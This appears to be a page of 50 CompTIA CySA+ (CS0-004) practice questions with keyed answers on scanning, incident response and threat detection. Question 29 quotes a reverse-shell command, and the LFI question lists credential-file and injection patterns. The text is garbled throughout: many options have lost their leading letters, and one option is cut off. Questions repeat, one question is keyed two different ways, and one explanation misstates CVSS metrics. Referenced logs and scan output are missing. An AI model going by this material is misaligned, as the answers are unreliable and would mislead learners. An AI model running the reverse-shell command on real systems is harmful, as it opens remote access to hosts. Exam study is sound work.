Free CompTIA CS0-004 Practice Questions & Answers 2026 Part1

Question #1

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network. Which of the following would be missing from a scan performed with this configuration?

A. Operating system version

B. Registry key values

C. Open ports

D. IP address

View answer

Correct Answer: B

Question #2

A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal?

A. function w() { a=$(ping -c 1 $1 | awk-F "/" 'END{print $1}') && echo "$1 | $a" }

B. function x() { b=traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $b" }

C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F "

D. function z() { c=$(geoiplookup$1) && echo "$1 | $c" }

View answer

Correct Answer: C

Question #3

Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. Lessons learned

B. Service-level agreement

C. Playbook

D. Affected hosts

E. Risk score

F. Education plan

View answer

Correct Answer: DE

Question #4

A security analyst receives an alert for suspicious activity on a company laptop An excerpt of the log is shown below:

A. An Office document with a malicious macro was opened

B. A credential-stealing website was visited

C. A phishing link in an email was clicked

D. A web browser vulnerability was exploited

View answer

Correct Answer: A

Question #5

A security analyst must preserve a system hard drive that was involved in a litigation request. Which of the following is the best method to ensure the data on the device is not modified?

A. Generate a hash value and make a backup image

B. Encrypt the device to ensure confidentiality of the data

C. Protect the device with a complex password

D. Perform a memory scan dump to collect residual data

View answer

Correct Answer: A

Question #6

An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?

A. Beaconing

B. Cross-site scripting

C. Buffer overflow

D. PHP traversal

View answer

Correct Answer: A

Question #7

A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

A. /etc/shadow

B. curl localhost

C. ; printenv

D. cat /proc/self/

View answer

Correct Answer: A

Question #8

A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization: Which of the following vulnerabilities should be prioritized for remediation? Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate. CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2 The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2

A. 1

B. 2

C. 3

D. 4

View answer

Correct Answer: B

Question #9

An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

A. SOAR

B. SIEM

C. SLA

D. IoC

View answer

Correct Answer: A

Question #10

A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization:Which of the following vulnerabilities should be prioritized for remediation?

A. 1

B. 2

C. 3

D. 4

View answer

Correct Answer: D

Question #11

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

A. LA

B. OU

C. DA

D. imitation of liability

View answer

Correct Answer: A

Question #12

A laptop that is company owned and managed is suspected to have malware. The company implemented centralized security logging. Which of the following log sources will confirm the malware infection?

A. XDR logs

B. Firewall logs

C. IDS logs

D. MFA logs

E. Reveal Answer

View answer

Correct Answer: A

Question #13

During a training exercise, a security analyst must determine the vulnerabilities to prioritize. The analyst reviews the following vulnerability scan output:Which of the following issues should the analyst address first?

A. icrosoft Defender security definition updates disabled

B. ess command allows for escape exploit via terminal

C. llows anonymous read access via any FTP connection

D. llows anonymous read access to /etc/passwd

View answer

Correct Answer: D

Question #14

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario?

A. mplement step-up authentication for administrators

B. mprove employee training and awareness

C. ncrease password complexity standards

D. eploy mobile device management

View answer

Correct Answer: B

Question #15

Which TWO concepts are associated with identity and access management in security operations? (Choose two.)

A. Packet fragmentation

B. Data deduplication

C. Privileged access management

D. Secrets management

E. Thermal monitoring

View answer

Correct Answer: CD

Question #16

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network. Which of the following would be missing from a scan performed with this configuration?

A. Operating system version

B. Registry key values

C. Open ports

D. IP address

View answer

Correct Answer: B

Question #17

A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?

A. Code analysis

B. Static analysis

C. Reverse engineering

D. Fuzzing

View answer

Correct Answer: C

Question #18

A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

A. Non-credentialed scanning

B. Passive scanning

C. Agent-based scanning

D. Credentialed scanning

View answer

Correct Answer: B

Question #19

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network. Which of the following would be missing from a scan performed with this configuration?

A. Operating system version

B. Registry key values

C. Open ports

D. IP address

View answer

Correct Answer: B

Question #20

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

A. Data enrichment

B. Security control plane

C. Threat feed combination

D. Single pane of glass

View answer

Correct Answer: D

Question #21

A security analyst at a company called ACME Commercial notices there is outbound traffic to a host IP that resolves to https://office365password.acme.co. The site's standard VPN logon page is www.acme.com/logon. Which of the following is most likely true?

A. This is a normal password change URL

B. The security operations center is performing a routine password audit

C. A new VPN gateway has been deployed

D. A social engineering attack is underway

View answer

Correct Answer: D

Question #22

Your organization cannot immediately patch a critical Internet-facing application because of vendor restrictions. Which sequence provides the BEST temporary risk reduction?

A. Disable logging → Wait for vendor patch

B. Remove vulnerability scanner from the network

C. Ignore alerts until maintenance weekend

D. Implement WAF rules → Restrict access → Monitor exploitation attempts

View answer

Correct Answer: D

Question #23

A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network. Which of the following would best aid in decreasing the workload without increasing staff?

A. SIEM

B. XDR

C. SOAR

D. EDR

View answer

Correct Answer: C

Question #24

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst's concern?

A. Any discovered vulnerabilities will not be remediated

B. An outage of machinery would cost the organization money

C. Support will not be available for the critical machinery

D. There are no compensating controls in place for the OS

View answer

Correct Answer: A

Question #25

A security analyst runs the following command:# nmap -T4 -F 192.168.30.30Starting nmap 7.6Host is up (0.13s latency)PORT STATE SERVICE23/tcp open telnet443/tcp open https636/tcp open ldapsWhich of the following should the analyst recommend first to harden the system?

A. Disable all protocols that do not use encryption

B. Configure client certificates for domain services

C. Ensure that this system is behind a NGFW

D. Deploy a publicly trusted root CA for secure websites

View answer

Correct Answer: A

Question #26

Which of the following describes the best reason for conducting a root cause analysis?

A. The root cause analysis ensures that proper timelines were documented

B. The root cause analysis allows the incident to be properly documented for reporting

C. The root cause analysis develops recommendations to improve the process

D. The root cause analysis identifies the contributing items that facilitated the event

View answer

Correct Answer: D

Question #27

An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

A. SOAR

B. SIEM

C. SLA

D. IoC

View answer

Correct Answer: A

Question #28

An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

A. SOAR

B. SIEM

C. SLA

D. IoC

View answer

Correct Answer: A

Question #29

A security analyst detects an exploit attempt containing the following command:sh -i >& /dev/udp/10.1.1.1/4821 0>$lWhich of the following is being attempted?

A. RCE

B. Reverse shell

C. XSS

D. SQL injection

View answer

Correct Answer: B

Question #30

During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

A. Conduct regular red team exercises over the application in production

B. Ensure that all implemented coding libraries are regularly checked

C. Use application security scanning as part of the pipeline for the CI/CD flow

D. Implement proper input validation for any data entry form

View answer

Correct Answer: C

Question #31

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:Which of the following tuning recommendations should the security analyst share?

A. Set an HttpOnly flag to force communication by HTTPS

B. Block requests without an X-Frame-Options header

C. Configure an Access-Control-Allow-Origin header to authorized domains

D. Disable the cross-origin resource sharing header

View answer

Correct Answer: C

Question #32

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

A. Access rights

B. Network segmentation

C. Time synchronization

D. Invalid playbook

View answer

Correct Answer: C

Question #33

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?

A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L

B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L

C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H

D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

View answer

Correct Answer: A

Question #34

An employee is suspected of misusing a company-issued laptop. The employee has been suspended pending an investigation by human resources. Which of the following is the best step to preserve evidence?

A. Disable the user's network account and access to web resources

B. Make a copy of the files as a backup on the server

C. Place a legal hold on the device and the user's network share

D. Make a forensic image of the device and create a SRA-I hash

E. Reveal Answer

View answer

Correct Answer: D

Question #35

A company receives a penetration test report summary from a third party. The report summary indicates a proxy has some patches that need to be applied. The proxy is sitting in a rack and is not being used, as the company has replaced it with a new one. The CVE score of the vulnerability on the proxy is a 9.8. Which of the following best practices should the company follow with this proxy?

A. Leave the proxy as is

B. Decomission the proxy

C. Migrate the proxy to the cloud

D. Patch the proxy

View answer

Correct Answer: B

Question #36

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:Security Policy 1006: Vulnerability Management1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

A. ame: THOR

B. ame: CAP

C. ame: LOKI

D. ame: THANOS

View answer

Correct Answer: B

Question #37

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

A. ommand and control

B. ctions on objectives

C. xploitation

D. elivery

View answer

Correct Answer: A

Question #38

An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first?

A. CDN

B. Vulnerability scanner

C. DNS

D. Web server

View answer

Correct Answer: C

Question #39

Using open-source intelligence gathered from technical forums, a threat actor compiles and tests a malicious downloader to ensure it will not be detected by the victim organization's endpoint security protections. Which of the following stages of the Cyber Kill Chain best aligns with the threat actor's actions?

A. Delivery

B. Reconnaissance

C. Exploitation

D. Weaponizatign

E. Reveal Answer

View answer

Correct Answer: D

Question #40

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst's concern?

A. Any discovered vulnerabilities will not be remediated

B. An outage of machinery would cost the organization money

C. Support will not be available for the critical machinery

D. There are no compensating controls in place for the OS

View answer

Correct Answer: A

Question #41

Which of the following is the best action to take after the conclusion of a security incident to improveincident response in the future?

A. evelop a call tree to inform impacted users

B. chedule a review with all teams to discuss what occurred

C. reate an executive summary to update company leadership

D. eview regulatory compliance with public relations for official notification

View answer

Correct Answer: B

Question #42

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high- risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?

A. Deploy a CASB and enable policy enforcement

B. Configure MFA with strict access

C. Deploy an API gateway

D. Enable SSO to the cloud applications

View answer

Correct Answer: A

Question #43

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:Which of the following tuning recommendations should the security analyst share?

A. Set an HttpOnly flag to force communication by HTTPS

B. Block requests without an X-Frame-Options header

C. Configure an Access-Control-Allow-Origin header to authorized domains

D. Disable the cross-origin resource sharing header

View answer

Correct Answer: C

Question #44

An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.)

A. Beaconing

B. Domain Name System hijacking

C. Social engineering attack

D. On-path attack

E. Obfuscated links

F. Address Resolution Protocol poisoning

View answer

Correct Answer: CE

Question #45

Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. Lessons learned

B. Service - level agreement

C. Playbook

D. Affected hosts

E. Risk score

F. Education plan

View answer

Correct Answer: DE

Question #46

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst's concern?

A. Any discovered vulnerabilities will not be remediated

B. An outage of machinery would cost the organization money

C. Support will not be available for the critical machinery

D. There are no compensating controls in place for the OS

View answer

Correct Answer: A

Question #47

Which of the following best describes the goal of a tabletop exercise?

A. To test possible incident scenarios and how to react properly

B. To perform attack exercises to check response effectiveness

C. To understand existing threat actors and how to replicate their techniques

D. To check the effectiveness of the business continuity plan

View answer

Correct Answer: A

Question #48

Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

A. Determine the sophistication of the audience that the report is meant for

B. Include references and sources of information on the first page

C. Include a table of contents outlining the entire report

D. Decide on the color scheme that will effectively communicate the metrics

View answer

Correct Answer: A

Question #49

A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

A. /etc/shadow

B. curl localhost

C. ; printenv

D. cat /proc/self/

View answer

Correct Answer: A

Question #50

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

A. AM

B. DS

C. KI

D. LP

View answer

Correct Answer: D

DON'T WANT TO MISS A THING?

Latest Cisco, PMP, AWS, CompTIA, Microsoft Materials on SALE
Get Now

Free CompTIA CS0-004 Practice Questions & Answers 2026 Part1 | CompTIA CySA+

View The Updated CS0-003 Exam Questions

View The Updated CompTIA Exam Questions

View Answers after Submission

DON'T WANT TO MISS A THING?

Latest Cisco, PMP, AWS, CompTIA, Microsoft Materials on SALE Get Now

Free CompTIA CS0-004 Practice Questions & Answers 2026 Part1 | CompTIA CySA+

View The Updated CS0-003 Exam Questions

View The Updated CompTIA Exam Questions

View Answers after Submission

Latest Cisco, PMP, AWS, CompTIA, Microsoft Materials on SALE
Get Now